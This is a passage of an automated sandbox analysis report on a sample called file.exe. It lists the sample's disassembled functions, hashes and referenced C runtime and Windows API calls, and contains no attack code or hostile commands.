Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 3c2406594f738d380bbe804b88ac711f9ca084ee798320afd050731cb899fd61
Instruction ID: cfab65b71b9d82331a8ff862292ae4a9686199a19fa9eed76f1ad23411431daa
Opcode Fuzzy Hash: 3c2406594f738d380bbe804b88ac711f9ca084ee798320afd050731cb899fd61
Instruction Fuzzy Hash: 2D411976A446098FDF14CFFCC9A13EF7BF2AB07321F105919C915AB384C62A45098BB0

Function 6E7F9C20 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

,w, xrefs: 6E7F9C35

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,w
API String ID: 0-61532519
Opcode ID: a6e726e4af18339a7a4d74d7b79f0dbb6ff97a343f5f487ff1ced51552f165d4
Instruction ID: 9aa7167c218a749ae46787da9854834292325dcefa40bec0220406aa0836efa9
Opcode Fuzzy Hash: a6e726e4af18339a7a4d74d7b79f0dbb6ff97a343f5f487ff1ced51552f165d4
Instruction Fuzzy Hash: 2B41B676A141068FCB08CEFCCA952EE7BE29B62360F144329D935EB3E4C6358906C785

Function 6E813810 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6E813810

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 52e793b4c9345d7a3976a2f7d0e356f763d8a56f2a797e2a250207e2e3dbab8b
Instruction ID: 136ba4b8421eb5f9a313a59ecac1a3f12f631c51b9daf71038448fc22325e414
Opcode Fuzzy Hash: 52e793b4c9345d7a3976a2f7d0e356f763d8a56f2a797e2a250207e2e3dbab8b
Instruction Fuzzy Hash: 9CA012302016018B4B008E34430A24A369855039807000024940CC0450EB244440C641

Function 6E803150 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c4483e19794b775488b9ce2ac2f94ce7ef36a77c24ccbe985154739c455f1e2
Instruction ID: 4bcb41fe6b50d6802d5226d9144900f41241eec3f42858e3f4cd57cfbb0e86da
Opcode Fuzzy Hash: 0c4483e19794b775488b9ce2ac2f94ce7ef36a77c24ccbe985154739c455f1e2
Instruction Fuzzy Hash: 1B02D332E54609CFDB04CEEDDDD9BDD7BF2AB46350F04891AE821E7365CA298C098B05

Function 6E80AB90 Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3bedc97e5cd7a7a4fdf51e5a8603b484954635729172a6dea1284962f5390e
Instruction ID: 6a8af32e2ae78fd9f55aedb905d39e36ca28aa7db2e793955607bb06fb222eee
Opcode Fuzzy Hash: 3e3bedc97e5cd7a7a4fdf51e5a8603b484954635729172a6dea1284962f5390e
Instruction Fuzzy Hash: 31E10676A446098FCF04CEFCD8A43DF7BF2AB56350F10A919D825EB394C63A8909CB51

Function 6E808220 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a0384969ca03420ceee4b712b64741c50b4d452a5ca31cbcee053365f509cf
Instruction ID: 544725bb28c2548c1eca7f79577c522511bf53ed35a5db46b219979666be007e
Opcode Fuzzy Hash: b6a0384969ca03420ceee4b712b64741c50b4d452a5ca31cbcee053365f509cf
Instruction Fuzzy Hash: C5611976A80A1A4FDF048EFCC9E57DF3BE2AB47334F145618C9359B2E4C62A45498B90

Function 6E804800 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e109803d5e933b04fff1da6b7ca98c28e9c6c27618691d8ab62f1ddb41cda8
Instruction ID: cfe071bd6dac7a2240686162b8064c7379160fe31faf987adb777ec07dcf69aa
Opcode Fuzzy Hash: 78e109803d5e933b04fff1da6b7ca98c28e9c6c27618691d8ab62f1ddb41cda8
Instruction Fuzzy Hash: 2851F372E802168FDF04CEACC9D53EE77F2AB96350F105819C815EB391D63A890BCB94

Function 6E805790 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfc645127bc4628a4d507e6e60788c851cec2c2015bf93f60aad53928475ed3
Instruction ID: b267e8705e8b7e6bd3fe7a4e29e38fb24ae676bea8027c002f14e1e938224ae4
Opcode Fuzzy Hash: 8dfc645127bc4628a4d507e6e60788c851cec2c2015bf93f60aad53928475ed3
Instruction Fuzzy Hash: A341D635A4030A8FCF09CF7CC9A57DE7BE1EB46320F119619E8299B395C2369905DB50

Function 6E805EB0 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18764a49dd74779db4d2ac4bd31e2d3da26f952e5b89e6fce9b241e129752e38
Instruction ID: 27d4ea4fba30daa86cd5e1a54ce96bb377471dd7c6b484f4677065197cca2de0
Opcode Fuzzy Hash: 18764a49dd74779db4d2ac4bd31e2d3da26f952e5b89e6fce9b241e129752e38
Instruction Fuzzy Hash: 83311C72A5061A8FCF04CEBCC8A53DF3BE19B03320F145A15C975EB7D0C23A59459B90

Function 6E8022E0 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e40c8c807e894aa33b3e7aa1c42b2692e739b8043a902f60af47b52e6fe70a
Instruction ID: 3b5b9015b02cba98d682788f2787ff411e1be10fdec02d16ccebf577acbfb2a1
Opcode Fuzzy Hash: e6e40c8c807e894aa33b3e7aa1c42b2692e739b8043a902f60af47b52e6fe70a
Instruction Fuzzy Hash: 7E318B32A8051A8FCF04CEFDC9A53EF77E29703320F125919C965DB6A7C66E450E8792

Function 6E80F46C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 6E80F58B
___TypeMatch.LIBVCRUNTIME ref: 6E80F699
_UnwindNestedFrames.LIBCMT ref: 6E80F7EB
CallUnexpected.LIBVCRUNTIME ref: 6E80F806

Strings

csm, xrefs: 6E80F5C2
csm, xrefs: 6E80F516
csm, xrefs: 6E80F4A9

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 88fd50f85d4f033c25be4c660d09159699fe1a0ad12e51331df6e6dc2be219a7
Instruction ID: bf97d1733f1d93b43168c83456ddf94357961d6c99773866e7885940f6cbb40e
Opcode Fuzzy Hash: 88fd50f85d4f033c25be4c660d09159699fe1a0ad12e51331df6e6dc2be219a7
Instruction Fuzzy Hash: 93B1797180020AEFDF15CFE8CC8099EB7B9FF68314B20895AE8106B255D735DA51CF96

Function 6E8151F4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 6E815279
__alloca_probe_16.LIBCMT ref: 6E815342
__freea.LIBCMT ref: 6E8153A9

Part of subcall function 6E811BE2: HeapAlloc.KERNEL32(00000000,6E812BEC,?,?,6E812BEC,00000220,?,00000000,?), ref: 6E811C14

__freea.LIBCMT ref: 6E8153BC
__freea.LIBCMT ref: 6E8153C9

Strings

}mH, xrefs: 6E8151FB

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID: }mH
API String ID: 1096550386-246349140
Opcode ID: 9b5937f633efa17beaccccaf780fb8d91388674ee8ceeb55eac01adb4b7cea94
Instruction ID: 2e3ecc3b7ab76f4ba10c6e3983edfb6ab3673a98f7a9f443c7a37eb360e76e40
Opcode Fuzzy Hash: 9b5937f633efa17beaccccaf780fb8d91388674ee8ceeb55eac01adb4b7cea94
Instruction Fuzzy Hash: 82519172608307AFEB158FE98C94EEB3AADEF46714B110D29FD14D71A0EBB0DC509660

Function 6E81343F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,6E81354E,00000000,6E811048,00000000,00000000,00000001,?,6E8136C7,00000022,FlsSetValue,6E81B390,6E81B398,00000000), ref: 6E813500

Strings

api-ms-, xrefs: 6E813496
ext-ms-, xrefs: 6E8134AA

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1f6ae62fa8f60c9fdd639a56cd06728f29a9f635410f73b9536d574ef9971366
Instruction ID: 90c23a52329c7844c2e783c323cec37ef1b9661578d0ab45d3f7b8621b5b042c
Opcode Fuzzy Hash: 1f6ae62fa8f60c9fdd639a56cd06728f29a9f635410f73b9536d574ef9971366
Instruction Fuzzy Hash: 3821AB31A0C517ABDB229BE9DD55BCA3768DB537B0B120964ED19A72C4D730ED04C6E0

Function 6E810975 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,48EB6D7D,00000000,?,00000000,6E818DC2,000000FF,?,6E81090F,?,?,6E8108E3,?), ref: 6E8109AA
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E8109BC
FreeLibrary.KERNEL32(00000000,?,00000000,6E818DC2,000000FF,?,6E81090F,?,?,6E8108E3,?), ref: 6E8109DE

Strings

}mH, xrefs: 6E81098A
CorExitProcess, xrefs: 6E8109B4
mscoree.dll, xrefs: 6E8109A3

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$}mH
API String ID: 4061214504-503396529
Opcode ID: 6640ff4253f9442deda50d168dc6dce7b4f0fbee6ee0737380d2c12f030bc7a8
Instruction ID: 2c40519949665153179a78f8758b87ce593c48149704a6698d9decb50a7cacfb
Opcode Fuzzy Hash: 6640ff4253f9442deda50d168dc6dce7b4f0fbee6ee0737380d2c12f030bc7a8
Instruction Fuzzy Hash: 7401673190491BEFDF018B94CC19BEE77B9FB05754F000929E826A2790EB749904CB90

Function 6E815901 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 333
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNEL32(48EB6D7D,00000000,00000000,?), ref: 6E815964

Part of subcall function 6E813241: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E81539F,?,00000000,-00000008), ref: 6E8132A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E815BB6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E815BFC
GetLastError.KERNEL32 ref: 6E815C9F

Strings

}mH, xrefs: 6E815917

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID: }mH
API String ID: 2112829910-246349140
Opcode ID: c16d31dc69007e7e78b463baa465789ed32d2f5e1e1b460f3a244eeb692af794
Instruction ID: 25b193564df1a1e32c8f0ab301baa6c2f9a528e86e37856aa5175845cb7104a0
Opcode Fuzzy Hash: c16d31dc69007e7e78b463baa465789ed32d2f5e1e1b460f3a244eeb692af794
Instruction Fuzzy Hash: 6ED15D75D0864A9FDB01CFE8C8809DDBBB5FF49314F14496AE866EB291E730A941CF50

Function 6E80EABC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E80E6F1,6E80BFC8,6E80B98F,?,6E80BBC7,?,00000001,?,?,00000001,?,6E81EDC8,0000000C,6E80BCC0), ref: 6E80EACA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E80EAD8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E80EAF1
SetLastError.KERNEL32(00000000,6E80BBC7,?,00000001,?,?,00000001,?,6E81EDC8,0000000C,6E80BCC0,?,00000001,?), ref: 6E80EB43

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c454809706add6be714ec56f66e672c979ceeeda1a3fbfcb6438c2a78fbba790
Instruction ID: 662b9042afe205d10cfd38c3660d6131400943cb79ad9eff9510559d7efc0ecf
Opcode Fuzzy Hash: c454809706add6be714ec56f66e672c979ceeeda1a3fbfcb6438c2a78fbba790
Instruction Fuzzy Hash: 4801B13211EB125EFF5516FDAC95A9B2759EB077B87304F2AF529640D0FF1148419384

Function 6E812673 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\file.exe, xrefs: 6E81268F

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\file.exe
API String ID: 0-3695852857
Opcode ID: b5debffc06293f2b65fd3a1a529a06d8ed4ba336be67cfa4e052a0cc3441f666
Instruction ID: 0f7b5f54d23384bbc4479c4b7ef6528f99d203e3d134bb76d02f8900942f8ad3
Opcode Fuzzy Hash: b5debffc06293f2b65fd3a1a529a06d8ed4ba336be67cfa4e052a0cc3441f666
Instruction Fuzzy Hash: 7B21847161C317AF9B519FF99C80ADB77BDAF063687108D18E91897190EB34EC609790

Function 6E80E510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6E80E54F
__IsNonwritableInCurrentImage.LIBCMT ref: 6E80E603

Strings

}mH, xrefs: 6E80E5C2, 6E80E63F
csm, xrefs: 6E80E5ED

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$}mH
API String ID: 3480331319-3967853463
Opcode ID: 1e586b2743d7d848bb707081d40cf0233c9a2a041ac6b0132daf39181689f1d6
Instruction ID: 5506d1bc9729e03cece171d6d363daf49936b5051e2514e0a8e9d5e4e83ddf84
Opcode Fuzzy Hash: 1e586b2743d7d848bb707081d40cf0233c9a2a041ac6b0132daf39181689f1d6
Instruction Fuzzy Hash: F9416D34A006199BCF10CFE8CC94ADFBBA5AF45328F108D55E8299B391E735AA15CB91

Function 6E814A2D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E814A9F
GetStringTypeW.KERNEL32(?,-00000008,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,FFFFF9B5), ref: 6E814AF7
__freea.LIBCMT ref: 6E814B04

Part of subcall function 6E811BE2: HeapAlloc.KERNEL32(00000000,6E812BEC,?,?,6E812BEC,00000220,?,00000000,?), ref: 6E811C14

Strings

}mH, xrefs: 6E814A35

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: AllocHeapStringType__alloca_probe_16__freea
String ID: }mH
API String ID: 324646697-246349140
Opcode ID: 8421e7450f15bcf3f2a6765847c9b1f7a281a3306a16122779ee08143433af12
Instruction ID: 630b8bca7cd522c9313859b9fba927a0b5902b86c3798c7fdcd5d9d56ce7ac61
Opcode Fuzzy Hash: 8421e7450f15bcf3f2a6765847c9b1f7a281a3306a16122779ee08143433af12
Instruction Fuzzy Hash: EE31AF7290521BABDB118FE9CC44EEF3BB9EF84319F010928E814E7191E7348952C7A0

Function 6E812770 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 6E812795
GetLastError.KERNEL32 ref: 6E81279F
